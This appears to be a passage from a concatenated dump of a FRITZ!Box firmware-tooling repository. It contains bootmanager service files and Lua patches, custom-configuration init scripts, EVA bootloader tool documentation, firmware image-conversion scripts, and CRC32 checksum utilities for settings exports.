ExecStart=/usr/bin/bootmanager_server 4 | ExecStop=/bin/sh -c "printf 'stop\n' >/var/run/bootmanager/input; sleep 2" 5 | Type=notify 6 | [Install] 7 | WantedBy=multi-user.target 8 | -------------------------------------------------------------------------------- /bootmanager/bootmanager.service.old: -------------------------------------------------------------------------------- 1 | [Service] 2 | After=net.service 3 | ExecStart=/usr/bin/bootmanager_server 4 | ExecStop=/bin/sh -c "printf 'stop\n' >/var/run/bootmanager/input; sleep 2" 5 | Type=notify 6 | [Install] 7 | WantedBy=multi-user.target 8 | -------------------------------------------------------------------------------- /bootmanager/extract_version_values: -------------------------------------------------------------------------------- 1 | ../toolbox/image/extract_version_values -------------------------------------------------------------------------------- /bootmanager/lua_patch_0708.sed: -------------------------------------------------------------------------------- 1 | /^return data$/i \ 2 | local function data_bm()\ 3 | local bm = {}\ 4 | local empty = {}\ 5 | local function bm_values()\ 6 | local values = {}\ 7 | local data = io.open("/var/run/bootmanager/output")\ 8 | if not data then\ 9 | data = io.popen("/usr/bin/bootmanager get_values")\ 10 | hasServ = false\ 11 | if not data then\ 12 | return empty\ 13 | end\ 14 | else\ 15 | hasServ = true\ 16 | end\ 17 | values["hasService"] = hasServ\ 18 | for line in data:lines() do\ 19 | local id, value\ 20 | id, value = line:match('^([^=]-)="?(.-)"?$')\ 21 | if value == "true" or value == "false" then\ 22 | value = ( value == "true" )\ 23 | end\ 24 | values[id] = value\ 25 | end\ 26 | data:close()\ 27 | return values\ 28 | end\ 29 | local function bm_msgs()\ 30 | local messages = {}\ 31 | local clang = config.language\ 32 | local msgs = io.open("/usr/bin/bootmanager.msg")\ 33 | if msgs then\ 34 | local lang, id, value, usedLanguage\ 35 | local languagesChecked = false\ 36 | for line in msgs:lines() do\ 37 | if line:sub(1, 1) ~= "#" then\ 38 | if line:match("^[Ll]anguages (%l%l)%s?(.-)$") and not languagesChecked then\ 39 | local deflang, addlangs, lng\ 40 | languagesChecked = true\ 41 | deflang, addlangs = line:match("^[Ll]anguages (%l%l)(.-)$")\ 42 | if deflang ~= clang then\ 43 | for lng in addlangs:gmatch(" ?(%l%l ?)") do\ 44 | if lng:match("^%s-(.-)%s-$") == clang then\ 45 | usedLanguage = clang\ 46 | break\ 47 | end\ 48 | end\ 49 | if not usedLanguage then\ 50 | usedLanguage = deflang\ 51 | end\ 52 | else\ 53 | usedLanguage = clang\ 54 | end\ 55 | messages["usedLanguage"] = usedLanguage\ 56 | else\ 57 | lang, id, value = line:match("^([^:]-):([^=]-)=(.-)$")\ 58 | if lang and id and value then\ 59 | if usedLanguage == lang or "any" == lang then\ 60 | messages[id] = string.gsub(value, "\\\\n", "\\n")\ 61 | end\ 62 | end\ 63 | end\ 64 | end\ 65 | end\ 66 | msgs:close()\ 67 | else\ 68 | messages = empty\ 69 | end\ 70 | return messages\ 71 | end\ 72 | bm["values"] = bm_values()\ 73 | bm["localized"] = bm_msgs()\ 74 | return bm\ 75 | end\ 76 | data.bm = data_bm() 77 | 78 | /^local savecookie *= *{}/a \ 79 | if box.post.linux_fs_start then\ 80 | local linux_fs_start = string.gsub(box.post.linux_fs_start, "'", "")\ 81 | local branding = box.post[linux_fs_start.."_branding"] ~= nil and string.gsub(box.post[linux_fs_start.."_branding"], "'", "") or ""\ 82 | local service = io.open("/var/run/bootmanager/input","w")\ 83 | if service then\ 84 | service:write("switch_to "..linux_fs_start.." "..branding.."\\n")\ 85 | service:close()\ 86 | else\ 87 | os.execute("/usr/bin/bootmanager switch_to '"..linux_fs_start.."' '"..branding.."'")\ 88 | end\ 89 | end 90 | -------------------------------------------------------------------------------- /bootmanager/lua_patch_pre0708.sed: -------------------------------------------------------------------------------- 1 | /^local savecookie = {}/a \ 2 | if box.post.linux_fs_start then\ 3 | local linux_fs_start = string.gsub(box.post.linux_fs_start, "'", "")\ 4 | local branding = box.post[linux_fs_start.."_branding"] ~= nil and string.gsub(box.post[linux_fs_start.."_branding"], "'", "") or ""\ 5 | os.execute("/usr/bin/bootmanager switch_to '"..linux_fs_start.."' '"..branding.."'")\ 6 | end 7 | 8 | /^
/a \ 9 |
\ 10 | \ 16 |
17 | -------------------------------------------------------------------------------- /bootmanager/yf_custom_environment.sh: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | __yf_custom_environment() 3 | { 4 | ___yf_ce_busybox="${YF_CUSTOM_BUSYBOX:-/bin/busybox}" 5 | [ -x "$___yf_ce_busybox" ] || return 1 6 | 7 | for ___yf_ce_cmd in mount sed mknod expr wc grep cat rm mkdir true; do "$___yf_ce_busybox" --list | "$___yf_ce_busybox" grep -q "^$___yf_ce_cmd\$" || return 1; done 8 | 9 | ___yf_ce_dev=/dev 10 | ___yf_ce_proc=/proc 11 | ___yf_ce_devices=/devices 12 | ___yf_ce_mounts=/mounts 13 | ___yf_ce_urlader=/sys/urlader 14 | ___yf_ce_environment=/environment 15 | ___yf_ce_target="${YF_CUSTOM_ENVIRONMENT_TARGET:-$___yf_ce_proc$___yf_ce_urlader$___yf_ce_environment}" 16 | ___yf_ce_source="$___yf_ce_dev/custom_env.tffs" 17 | ___yf_ce_tffs_minor="${YF_CUSTOM_ENVIRONMENT_TFFS_MINOR:-80}" 18 | 19 | for ___yf_ce_dir in $___yf_ce_proc; do [ -d "$___yf_ce_dir" ] || "$___yf_ce_busybox" mkdir -p "$___yf_ce_dir"; done 20 | 21 | [ -f "$___yf_ce_proc$___yf_ce_mounts" ] || "$___yf_ce_busybox" mount -t proc procfs "$___yf_ce_proc" 22 | [ -f "$___yf_ce_proc$___yf_ce_mounts" ] || return 1 23 | 24 | for ___yf_ce_file in "$___yf_ce_target" "$___yf_ce_proc$___yf_ce_devices"; do [ -f "$___yf_ce_file" ] || return 1; done 25 | 26 | [ -n "$("$___yf_ce_busybox" expr "$___yf_ce_tffs_minor" : ".*\([^0-9]\).*")" ] && return 1 27 | [ "$___yf_ce_tffs_minor" -gt 255 ] && return 1 28 | [ "$___yf_ce_tffs_minor" -lt 30 ] && return 1 29 | 30 | ___yf_ce_tffs_major="$("$___yf_ce_busybox" sed -n -e "s|^[ ]*\([0-9 ]*\)[ \t]\+tffs\$|\1|p" "$___yf_ce_proc$___yf_ce_devices")" 31 | [ -z "$___yf_ce_tffs_major" ] && return 1 32 | "$___yf_ce_busybox" mknod "$___yf_ce_source" c "$___yf_ce_tffs_major" "$___yf_ce_tffs_minor" || return 1 33 | [ "$( ( "$___yf_ce_busybox" wc -c "$___yf_ce_source" || printf "0") | "$___yf_ce_busybox" sed -n -e "s|^\([0-9]*\).*\$|\1|p")" -lt 2 ] && ( "$___yf_ce_busybox" rm "$___yf_ce_source" || true ) && return 1 34 | 35 | "$___yf_ce_busybox" cat "$___yf_ce_source" |\ 36 | while read -r ___yf_ce_name ___yf_ce_value; do 37 | ___yf_ce_current="$("$___yf_ce_busybox" sed -n -e "s|^${___yf_ce_name}[ \t]*\(.*\)\$|\1|p" "$___yf_ce_target")" 38 | [ "${#___yf_ce_current}" -ne "${#___yf_ce_value}" ] || ! [ "$___yf_ce_current" = "$___yf_ce_value" ] && printf "%s %s\n" "$___yf_ce_name" "$___yf_ce_value" > "$___yf_ce_target" 39 | done 40 | 41 | "$___yf_ce_busybox" rm "$___yf_ce_source" 42 | } 43 | 44 | __yf_custom_environment 45 | for ___yf_v in $(set | "${YF_CUSTOM_BUSYBOX:-/bin/busybox}" sed -n -e "s|^\(___yf_ce_[^=]*\)=.*\$|\1|p") __yf_custom_environment; do unset "$___yf_v"; done 46 | unset ___yf_v 47 | -------------------------------------------------------------------------------- /csharp/hexdump.cs: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0-or-later 2 | using System; 3 | 4 | namespace YourFritz.Helpers 5 | { 6 | class HexDump 7 | { 8 | private HexDump() { } 9 | 10 | public static string Dump(byte[] input) 11 | { 12 | System.Text.StringBuilder output = new System.Text.StringBuilder(); 13 | int index = 0; 14 | int lastIndex = 0; 15 | 16 | { 17 | System.Text.StringBuilder line = new System.Text.StringBuilder(); 18 | int b; 19 | string lastLine = System.String.Empty; 20 | 21 | for (index = 0; index < input.Length; index += 16) 22 | { 23 | line.Clear(); 24 | 25 | for (b = 0; b < Math.Min(16, input.Length - index); b++) 26 | { 27 | line.Append(String.Format("{0:x2} ", input[index + b])); 28 | if (b == 7) line.Append(" "); 29 | } 30 | 31 | if (b < 8) line.Append(" "); 32 | while (b++ < 16) line.Append(" "); 33 | 34 | line.Append(" |"); 35 | for (b = 0; b < Math.Min(16, input.Length - index); b++) 36 | { 37 | if ((input[index + b] < 32) || (input[index + b] > 127)) 38 | { 39 | line.Append("."); 40 | } 41 | else 42 | { 43 | line.Append(System.Text.Encoding.ASCII.GetChars(input, index + b, 1)); 44 | } 45 | } 46 | line.Append("|"); 47 | 48 | if (line.ToString().CompareTo(lastLine) != 0) 49 | { 50 | if ((index > 0) && (lastIndex != (index - 16)) && (index < input.Length)) output.AppendLine("*"); 51 | lastLine = line.ToString(); 52 | output.AppendLine(String.Format("{0:x8} {1:s}", index, lastLine)); 53 | lastIndex = index; 54 | } 55 | } 56 | } 57 | 58 | if (lastIndex != (index - 16)) output.AppendLine("*"); 59 | 60 | output.AppendLine(String.Format("{0:x8}", input.Length)); 61 | 62 | return output.ToString(); 63 | } 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /customconfig/README.md: -------------------------------------------------------------------------------- 1 | # custom configuration framework 2 | 3 | The scripts in this subdirectory build a solution (based solely on a full-featured BusyBox binary, xz_comp is an optional 4 | component and may be used to get a better compression rate for the settings archive file) to manage additional settings 5 | for extension packages in a single archive file, which is unpacked each time the device will be started and where any 6 | changes to the settings directory are monitored by inotifyd. If a monitored file has been changed, a countdown will be 7 | started. If the timeout elapses, the changes recorded so far will be written to a new archive, which will be used for 8 | unpacking on the next start. 9 | 10 | This "lazy writing" ensures that no package needs to maintain its own precautions to save changes (like Freetz framework 11 | does with the mod_save script), because they will get noticed and saved automatically. On the other hand it prevents the 12 | system from writing the changed settings archive multiple times, if more than one file is changed (it's not unusual, that 13 | a configuration action needs to change multiple files) within a short period. 14 | 15 | The script files contain comments to explain the intention of some actions ... please read them carefully. 16 | -------------------------------------------------------------------------------- /customconfig/bin/custom_config/functions: -------------------------------------------------------------------------------- 1 | ../../../scriptlib/functions/ -------------------------------------------------------------------------------- /customconfig/bin/custom_config/yf_helpers: -------------------------------------------------------------------------------- 1 | ../../../scriptlib/yf_helpers -------------------------------------------------------------------------------- /customconfig/bin/xz_comp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PeterPawn/YourFritz/2867c9a9945342caa51c28b8081bd24beeb91c43/customconfig/bin/xz_comp -------------------------------------------------------------------------------- /customconfig/etc/init.d/S03-early-syslogd: -------------------------------------------------------------------------------- 1 | #! /bin/false 2 | # avoid to be called without explicit shell invocation 3 | # vim: set syntax=sh tabstop=2 shiftwidth=2 highlight=on 4 | ################################################################################# 5 | # # 6 | # S03-early-syslogd # 7 | # # 8 | # start a very early syslog daemon to catch startup process messages # 9 | # # 10 | ################################################################################# 11 | # # 12 | # our configuration # 13 | # # 14 | ################################################################################# 15 | CFG=$YF_CONFIG_CFGDIR/syslogd.conf 16 | PIDFILE=/var/run/syslogd.pid 17 | ################################################################################# 18 | # # 19 | # try to find our configuration file, the YF_CONFIG values are set by caller # 20 | # # 21 | ################################################################################# 22 | if [ -f $CFG ]; then 23 | if [ -s $CFG ]; then 24 | PARAMS="$(sed -n -e "s|^PARAMS=\"\(.*\)\"\$|\1|p" $CFG)" 25 | fi 26 | fi 27 | [ ${#PARAMS} -eq 0 ] && PARAMS="-C32" 28 | ################################################################################# 29 | # # 30 | # started here without explicit path to busybox, because we know, our version # 31 | # uses "prefer applets" as setting and it's much easier to find the running # 32 | # process with "pidof", if it's called as direct command # 33 | # # 34 | ################################################################################# 35 | syslogd $PARAMS 36 | echo $(pidof syslogd) >$PIDFILE 37 | ################################################################################# 38 | # # 39 | # end of script # 40 | # # 41 | ################################################################################# 42 | -------------------------------------------------------------------------------- /customconfig/etc/init.d/S03-path: -------------------------------------------------------------------------------- 1 | #! /bin/false 2 | # avoid to be called without explicit shell invocation 3 | # vim: set syntax=sh tabstop=2 shiftwidth=2 highlight=on 4 | ################################################################################# 5 | # # 6 | # S03-path # 7 | # # 8 | # add the (primary) custom extension directory to our path, even if it's # 9 | # mounted later # 10 | # # 11 | ################################################################################# 12 | # # 13 | # our configuration # 14 | # # 15 | ################################################################################# 16 | CUSTOM_PATH=/var/custom 17 | ################################################################################# 18 | # # 19 | # our configuration # 20 | # # 21 | ################################################################################# 22 | export PATH=$CUSTOM_PATH/bin:/bin:$CUSTOM_PATH/usr/bin:/usr/bin:$CUSTOM_PATH/sbin:/sbin:$CUSTOM_PATH/usr/sbin:/usr/sbin 23 | ################################################################################# 24 | # # 25 | # end of script # 26 | # # 27 | ################################################################################# 28 | -------------------------------------------------------------------------------- /customconfig/etc/init.d/S20-config: -------------------------------------------------------------------------------- 1 | #! /bin/false 2 | # avoid to be called without explicit shell invocation 3 | # vim: set syntax=sh tabstop=2 shiftwidth=2 highlight=on 4 | ################################################################################# 5 | # # 6 | # S20-config # 7 | # # 8 | # link our configuration file location, so it can be exported with the original # 9 | # firmware user interface # 10 | # # 11 | ################################################################################# 12 | # # 13 | # the YF_CONFIG values are set by the caller # 14 | # # 15 | ################################################################################# 16 | if [ ${#YF_CONFIG_EXPORTS} -gt 0 ]; then 17 | if [ -x $YF_CONFIG_LINK_TO_EXPORT ]; then 18 | $YF_CONFIG_LINK_TO_EXPORT 19 | fi 20 | fi 21 | ################################################################################# 22 | # # 23 | # end of script # 24 | # # 25 | ################################################################################# 26 | -------------------------------------------------------------------------------- /customconfig/etc/init.d/S50-rdate: -------------------------------------------------------------------------------- 1 | #! /bin/false 2 | # avoid to be called without explicit shell invocation 3 | # vim: set syntax=sh tabstop=2 shiftwidth=2 highlight=on 4 | ################################################################################# 5 | # # 6 | # S50-rdate # 7 | # # 8 | # try to set our RTC from a local network source, this may lead to a faster # 9 | # boot process, because any process waiting for a valid local time may continue # 10 | # to run after this script sets the correct date and time # 11 | # # 12 | ################################################################################# 13 | # # 14 | # our configuration # 15 | # # 16 | ################################################################################# 17 | CFG=$YF_CONFIG_CFGDIR/rdate.conf 18 | ################################################################################# 19 | # # 20 | # try to find our configuration file, the YF_CONFIG values are set by caller # 21 | # # 22 | ################################################################################# 23 | if [ -f $CFG ]; then 24 | if [ -s $CFG ]; then 25 | SERVER=$(sed -n -e "s|^SERVER=\(.*\)\$|\1|p" $CFG) 26 | if [ ${#SERVER} -gt 0 ]; then 27 | SERVER="${SERVER//\"/}" 28 | fi 29 | /bin/busybox logger "Setting date/time from server $SERVER" 30 | /bin/busybox rdate $SERVER 31 | fi 32 | fi 33 | ################################################################################# 34 | # # 35 | # end of script # 36 | # # 37 | ################################################################################# 38 | -------------------------------------------------------------------------------- /eva_tools/.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text eol=lf 3 | 4 | # PowerShell scripts with Windows line-ends 5 | *.ps1 eol=crlf 6 | 7 | # Custom for Visual Studio 8 | *.cs diff=csharp 9 | 10 | # Standard to msysgit 11 | *.doc diff=astextplain 12 | *.DOC diff=astextplain 13 | *.docx diff=astextplain 14 | *.DOCX diff=astextplain 15 | *.dot diff=astextplain 16 | *.DOT diff=astextplain 17 | *.pdf diff=astextplain 18 | *.PDF diff=astextplain 19 | *.rtf diff=astextplain 20 | *.RTF diff=astextplain 21 | 22 | # firmware image files (tar archives) 23 | *.image binary 24 | -------------------------------------------------------------------------------- /eva_tools/README.md: -------------------------------------------------------------------------------- 1 | # Files in this folder 2 | 3 | `EVA-Discover.ps1` 4 | 5 | - Powershell script to detect a booting FRITZ!Box device in your network and set up an IPv4 address for FTP access to EVA 6 | 7 | `EVA-FTP-Client.ps1` 8 | 9 | - Powershell script to access the FTP service provided by the bootloader (EVA) of a FRITZ!Box (and some other) device(s) 10 | - this may be customized to run a predefined command/action sequence or you may specify a script block with the requested actions while calling it 11 | - the following actions are predefined: 12 | - `GetEnvironmentFile [ "env" | "count" ]` 13 | - `GetEnvironmentValue ` 14 | - `SetEnvironmentValue [ ]` 15 | - `RebootTheDevice` 16 | - `SwitchSystem` 17 | - `BootDeviceFromImage ` 18 | - `UploadFlashFile ` 19 | - or you may use lower-level functions to create your own actions 20 | 21 | `eva_discover` 22 | 23 | - shell script to detect a starting FRITZ!OS device in your network 24 | - BusyBox 'ash' compatible syntax 25 | - 'socat' utility () is needed for network access 26 | - command line parameter utilization is incomplete yet 27 | 28 | `eva_get_environment` 29 | `eva_store_tffs` 30 | `eva_switch_system` 31 | `eva_to_memory` 32 | 33 | - these scripts are more or less only proofs of concept, how to access the FTP server in the bootloader from a limited environment like another FRITZ!OS instance 34 | - they are usable with BusyBox 'ash' and 'nc' applets 35 | - there's usually no usage screen and only very limited support for error detection and notification 36 | - an image needed for `eva_to_memory` may be created from a "normal" image (tarball) with the `image2ram` script 37 | 38 | `prepare_jffs2_image` 39 | 40 | - simple script to create a JFFS2 image from predefined content 41 | - intended to be used on a FRITZ!Box device, because the geometry of the partition to create is read from /proc/mtd 42 | 43 | `build_in_memory_image` 44 | 45 | - very incomplete script to create an (universal) in-memory image from vendor's firmware 46 | - the resulting image does not contain closed-source components, so it may be shared without copyright violations, 'cause only redistributable parts from the original firmware are used 47 | 48 | ## Other sources of information 49 | 50 | If you need help using these files to access the FTP server of AVM's EVA loader, have a look at this thread: 51 | 52 | https://www.ip-phone-forum.de/threads/wie-verwende-ich-denn-nun-die-skript-dateien-aus-yourfritz-eva_tools.298591/ -------------------------------------------------------------------------------- /eva_tools/functions: -------------------------------------------------------------------------------- 1 | ../scriptlib/functions/ -------------------------------------------------------------------------------- /eva_tools/image2ram: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | if [ -t 0 ] || [ -t 1 ]; then 4 | printf "I'm a filter, give me a firmware image file on STDIN and I'll put out an in-memory image on STDOUT.\n" 1>&2 5 | exit 2 6 | fi 7 | tmp=${TMP:-/tmp} 8 | tmpdir=$tmp/$(date +%s)_$$ 9 | mkdir -p $tmpdir 10 | trap "rm -r $tmpdir" EXIT HUP INT 11 | cat - >$tmpdir/image.tar 12 | kernelline=$(tar -t -v -f $tmpdir/image.tar | grep 'kernel\.image') 13 | filesystemline=$(tar -t -v -f $tmpdir/image.tar | grep 'filesystem\.image') 14 | if [ ${#kernelline} -eq 0 ]; then 15 | printf "kernel.image not found\n" 1>&2 16 | exit 1 17 | fi 18 | if [ ${#filesystemline} -eq 0 ]; then 19 | printf "filesystem.image not found\n" 1>&2 20 | exit 1 21 | fi 22 | set -- $kernelline 23 | kernel=$6 24 | kernelsize=$3 25 | set -- $filesystemline 26 | filesystem=$6 27 | filesyssize=$3 28 | tar -x -O -f $tmpdir/image.tar $kernel >$tmpdir/kernel 2>/dev/null 29 | tar -x -O -f $tmpdir/image.tar $filesystem >$tmpdir/fs 2>/dev/null 30 | krnlsize=$(wc -c <$tmpdir/kernel 2>/dev/null || printf "0") 31 | fssize=$(wc -c <$tmpdir/fs 2>/dev/null || printf "0") 32 | if [ $krnlsize -ne $kernelsize ]; then 33 | printf "error extracting kernel.image\n" 1>&2 34 | exit 1 35 | fi 36 | if [ $fssize -ne $filesyssize ]; then 37 | printf "error extracting filesystem.image\n" 1>&2 38 | exit 1 39 | fi 40 | chk=$(dd if=$tmpdir/kernel bs=4 count=1 skip=$(( krnlsize / 4 - 2 )) 2>/dev/null| base64) 41 | if [ ${#chk} -eq 0 ]; then 42 | printf "error detecting checksum on kernel.image\n" 1>&2 43 | exit 1 44 | fi 45 | [ "$chk" = "I95TxA==" ] && kernelcs=1 || kernelcs=0 46 | chk=$(dd if=$tmpdir/fs bs=4 count=1 skip=$(( fssize / 4 - 2 )) 2>/dev/null | base64) 47 | if [ ${#chk} -eq 0 ]; then 48 | printf "error detecting checksum on filesystem.image\n" 1>&2 49 | exit 1 50 | fi 51 | [ "$chk" = "I95TxA==" ] && filesyscs=1 || filesyscs=0 52 | [ $kernelcs -eq 1 ] && dd if=$tmpdir/kernel bs=$(( krnlsize - 8 )) count=1 2>/dev/null || cat $tmpdir/kernel 53 | [ $filesyscs -eq 1 ] && dd if=$tmpdir/fs bs=$(( fssize - 8 )) count=1 2>/dev/null || cat $tmpdir/fs 54 | exit 0 55 | -------------------------------------------------------------------------------- /eva_tools/prepare_jffs2_image: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | # 4 | # create a jffs2 image, which may be flashed to a NOR partition (not NAND !!!) 5 | # 6 | # the new image will be written to stdout, this has to be redirected (no tty) 7 | # 8 | [ -t 1 ] && echo "The created image is written to stdout, redirect it to a file." 1>&2 && exit 1 9 | # 10 | # first and only parameter is the content file to extract to the jffs2 filesystem 11 | # 12 | content="$1" 13 | [ -z "$1" ] && echo "Missing content file name." 1>&2 && exit 1 14 | model="$2" 15 | [ -z "$2" ] && echo "Missing model partition name." 1>&2 && exit 1 16 | # 17 | # detect model partition parameters 18 | # 19 | eval $(sed -n -e "s|mtd[0-9]*: \([0-9a-f]*\) \([0-9a-f]*\) \"$model\"|total_size=\$(( 0x\1 / 1024 )) erase_size=\$(( 0x\2 / 1024 ))|p" /proc/mtd) 20 | [ -z "$total_size" -o -z "$erase_size" ] && echo "Model partition '$model' not found." 1>&2 && exit 1 21 | # 22 | # create mtdram device with right parameters 23 | # 24 | modprobe mtdram total_size=$total_size erase_size=$erase_size 25 | # 26 | # find the new mtd entry 27 | # 28 | eval $(sed -n -e "s|^mtd\([0-9]*\): \([0-9a-f]*\) \([0-9a-f]*\) \".*mtdram.*\"|devnum=\1 ts=\$(( 0x\2 )) es=\$(( 0x\3 ))|p" /proc/mtd) 29 | # 30 | # show device 31 | # 32 | echo "Found mtdram device 'mtd$devnum' with total size of $ts and erase size of $es." 1>&2 33 | echo "Continue?" 1>&2 34 | read answer 35 | [ $answer != y ] && exit 1 36 | # 37 | # clear partition first 38 | # 39 | echo "mtd $devnum erase all" >/proc/mtd 40 | # 41 | # get mountpoint 42 | # 43 | mp=/var/tmp/$(date +%s)_$$ 44 | mkdir -p $mp 45 | # 46 | # mount the empty partition and format the jffs2 structures 47 | # 48 | mount -t jffs2 /dev/mtdblock$devnum $mp 49 | # 50 | # unpack content file to image 51 | # 52 | tar -x -f $content -C $mp 53 | # 54 | # unmount the image 55 | # 56 | umount $mp 57 | # 58 | # dump the image 59 | # 60 | dd if=/dev/mtdblock$devnum bs=$es 2>/dev/null 61 | # 62 | # unloading mtdram crashes the system, if running on a box 63 | # 64 | #rmmod mtdram 65 | # 66 | # all done 67 | # 68 | exit 0 69 | -------------------------------------------------------------------------------- /eva_tools/profile.ps1: -------------------------------------------------------------------------------- 1 | $DebugPreference = "Continue" 2 | $VerbosePreference = "Continue" 3 | -------------------------------------------------------------------------------- /eva_tools/yf_helpers: -------------------------------------------------------------------------------- 1 | ../scriptlib/yf_helpers -------------------------------------------------------------------------------- /export/.config: -------------------------------------------------------------------------------- 1 | FRITZ_BOX=192.168.178.1 2 | FRITZ_USER= 3 | FRITZ_PASSWD= 4 | 5 | -------------------------------------------------------------------------------- /export/checksum: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | crc32() 4 | { 5 | cksum=$(./crc32_filter <$1) 6 | cksum="${cksum^^}" 7 | printf "%s\n" $cksum 8 | } 9 | fldr="$1" 10 | rm $fldr/rawdata >/dev/null 2>&1 11 | touch $fldr/rawdata 12 | grep -v '^\*\*\*\*' $fldr/header | 13 | while read line; do 14 | echo -n -e "$line\0" | sed -e 's/=//1' >>$fldr/rawdata 15 | done 16 | cat $fldr/filelist | 17 | while read file; do 18 | set -- $file 19 | ft=$1 20 | fn=$4 21 | if [ "$ft" == "c" ]; then # FILE 22 | echo -n -e "$fn\0" >>$fldr/rawdata 23 | sed -e 's/\\\\/\\/g' -e '$d' <$fldr/parts/$fn >>$fldr/rawdata 24 | else # (CRYPTED)?BINFILE 25 | echo -n -e "$fn\0" >>$fldr/rawdata 26 | cat $fldr/parts/$fn >>$fldr/rawdata 27 | fi 28 | done 29 | cksum=$(crc32 $fldr/rawdata) 30 | echo "chksum=$cksum" >$fldr/tail 31 | cat $fldr/tail 32 | -------------------------------------------------------------------------------- /export/compose: -------------------------------------------------------------------------------- 1 | #! /bin/true 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | fldr="$1" 4 | cat $fldr/header >$fldr/output 5 | cat $fldr/filelist | 6 | while read file; do 7 | set -- $file 8 | ft=$1 9 | fn=$4 10 | if [ "$ft" == "c" ]; then 11 | echo "**** CFGFILE:$fn" >>$fldr/output 12 | cat $fldr/parts/$fn >>$fldr/output 13 | else 14 | [ "$ft" == "b" ] && str="BINFILE" || str="CRYPTEDBINFILE" 15 | echo "**** $str:$fn" >>$fldr/output 16 | size=$(stat -c %s $fldr/parts/$fn) 17 | if [ $size -eq 0 ]; then 18 | echo >>$fldr/output 19 | else 20 | hexdump -v -e '40/1 "%02X" "\n"' $fldr/parts/$fn | sed -e 's/ *$//g' >>$fldr/output 21 | fi 22 | fi 23 | echo "**** END OF FILE ****" >>$fldr/output 24 | done 25 | cksum=$(cat $fldr/tail | sed -n -e 's/^.*=\(.*\)/\1/p') 26 | echo "**** END OF EXPORT $cksum ****" >>$fldr/output 27 | cat $fldr/output 28 | -------------------------------------------------------------------------------- /export/crc32.c: -------------------------------------------------------------------------------- 1 | /* simple implementation of CRC32 checksum as short C program */ 2 | /* SPDX-License-Identifier: GPL-2.0-or-later */ 3 | #include 4 | #include 5 | #include 6 | int main() 7 | { 8 | const uint32_t polynom=0xEDB88320; 9 | uint32_t lookupTable[256]; 10 | uint32_t crcValue=0; 11 | ssize_t readBytes=0; 12 | uint8_t byte; 13 | char buffer[256]; 14 | char *input; 15 | int i; 16 | int j; 17 | for (i = 0;i < 256;i++) { 18 | uint32_t val = (uint32_t) i; 19 | for (j = 0;j < 8;j++) { 20 | int isOne=((val & 1) == 1); 21 | val >>= 1; 22 | if (isOne) { 23 | val ^= polynom; 24 | } 25 | } 26 | lookupTable[i] = val; 27 | } 28 | crcValue = ~crcValue; 29 | do { 30 | for (input = buffer;input < (buffer+readBytes);input++) { 31 | byte = *input; 32 | crcValue = (crcValue >> 8) ^ lookupTable[(crcValue & 255) ^ byte]; 33 | } 34 | readBytes = read(0, buffer, sizeof(buffer)); 35 | } while (readBytes > 0); 36 | crcValue = ~crcValue; 37 | printf("%08X\n",crcValue); 38 | return 0; 39 | } 40 | -------------------------------------------------------------------------------- /export/crc32.sh: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | crc32() ( 3 | poly() { eval l=\$poly_$(( ( $2 & 255 ) ^ ( 0$1 & 255 ) )); printf -- "%u\n" "$(( ( ( $2 & 0xFFFFFFFF ) >> 8 ) ^ l ))"; } 4 | crc() { i=1; c=-1; while read -r p l _; do while [ "$p" -gt "$i" ]; do c=$(poly 0 "$c"); i=$(( i + 1 )); done; c=$(poly "$l" "$c"); i=$(( i + 1 )); done; c=$(( ~c )); printf -- "%08x\n" "$(( c & 0xFFFFFFFF ))"; } 5 | i=0; while [ $i -lt 256 ]; do r=$i; j=0; while [ $j -lt 8 ]; do [ $(( r & 1 )) -eq 1 ] && r=$(( ( ( r >> 1 ) & 0x7FFFFFFF ) ^ 0xEDB88320 )) || r=$(( ( r >> 1 ) & 0x7FFFFFFF )); j=$(( j + 1 )); done; eval poly_$i=$r; i=$(( i + 1 )); done; 6 | cmp -l -- - /dev/zero 2>/dev/null | crc 7 | ) 8 | crc32 9 | -------------------------------------------------------------------------------- /export/crc32_box.sh: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-or-later 3 | # 4 | # compute CRC32 check sum for a file with shell commands only 5 | # replace AVM's "testvalue" with another binary/wrapper, if 6 | # not running on a FRITZ!Box 7 | # 8 | tv=/bin/testvalue 9 | test -x $tv || exit 1 10 | td=/var/tmp/crc$(date +%s) 11 | cleanup() 12 | { 13 | test ${#td} -gt 12 && rm -r $td 14 | } 15 | trap cleanup EXIT HUP TERM KILL 16 | mkdir -p $td 17 | cat - >$td/input 18 | i=0 19 | while [ $i -lt 256 ]; do 20 | r=$i 21 | j=0 22 | while [ $j -lt 8 ]; do 23 | if [ $(( r&1 )) -eq 1 ]; then 24 | r=$(( ((r>>1)&0x7FFFFFFF)^0xEDB88320 )) 25 | else 26 | r=$(( (r>>1)&0x7FFFFFFF )) 27 | fi 28 | let j+=1 29 | done 30 | eval crc_$i=$r 31 | let i+=1 32 | done 33 | crc=-1 34 | fs=$(stat -c %s $td/input) 35 | filesize=$fs 36 | offset=0 37 | while [ $fs -gt 0 ]; do 38 | if [ $fs -ge 4 ]; then 39 | size=4 40 | else 41 | if [ $fs -ge 2 ]; then 42 | size=2 43 | else 44 | size=1 45 | fi 46 | fi 47 | value=$($tv $td/input $size $offset) 48 | let offset+=size 49 | let fs-=size 50 | k=0 51 | while [ $k -lt $size ]; do 52 | byte=$(( (value>>((size-1-k)*8))&255 )) 53 | i=$(( (crc&255)^byte )) 54 | eval v=\$crc_$i 55 | crc=$(( ((crc>>8)&0x00FFFFFF)^v )) 56 | let k+=1 57 | done 58 | if [ ${#1} -gt 0 ]; then 59 | percent=$(( offset*100/filesize )) 60 | echo -n -e "\r$offset / $filesize = $percent%" 1>&2 61 | fi 62 | done 63 | if [ ${#1} -gt 0 ]; then 64 | echo -n -e "\r\x1B[K" 1>&2 65 | fi 66 | let crc=~crc 67 | if 